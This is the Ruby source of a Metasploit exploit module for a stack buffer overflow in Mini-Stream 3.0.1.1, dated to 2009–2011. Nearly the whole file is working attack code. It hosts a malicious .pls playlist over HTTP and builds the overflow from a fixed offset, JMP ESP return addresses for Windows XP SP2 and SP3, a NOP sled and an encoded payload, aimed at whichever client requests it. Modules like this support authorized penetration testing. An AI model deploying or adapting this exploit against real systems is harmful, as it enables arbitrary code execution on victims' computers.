##
# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
   'Description' => %q{
     This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
    By creating a specially crafted pls file, an an attacker may be able
    to execute arbitrary code.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'CORELAN Security Team ',
     'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
    ],
   'Version' => '$Revision: 14155 $',
   'References' =>
    [
     [ 'OSVDB', '61341' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload' =>
    {
     'Space' => 3500,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
     'StackAdjustment' => -3500
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [
      'Windows XP SP3 ENG',
      {
       'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
       'Offset' => 17417
      }
     ],
     [
      'Windows XP SP2 ENG',
      {
       'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
       'Offset' => 17417
      }
     ]
    ],
   'Privileged' => false,
   'DisclosureDate' => 'Dec 25 2009',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
   ], self.class)
 end

 def on_request_uri(cli, request)
  # Calculate the correct offset
  host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  host << ":#{datastore['SRVPORT']}/"
  offset = target['Offset'] - host.length

  # Construct our buffer
  sploit = rand_text_alpha(offset)
  sploit << [target.ret].pack('V')
  sploit << make_nops(32)
  sploit << @p

  print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
 end

 def exploit
  @p = payload.encoded
  super
 end

end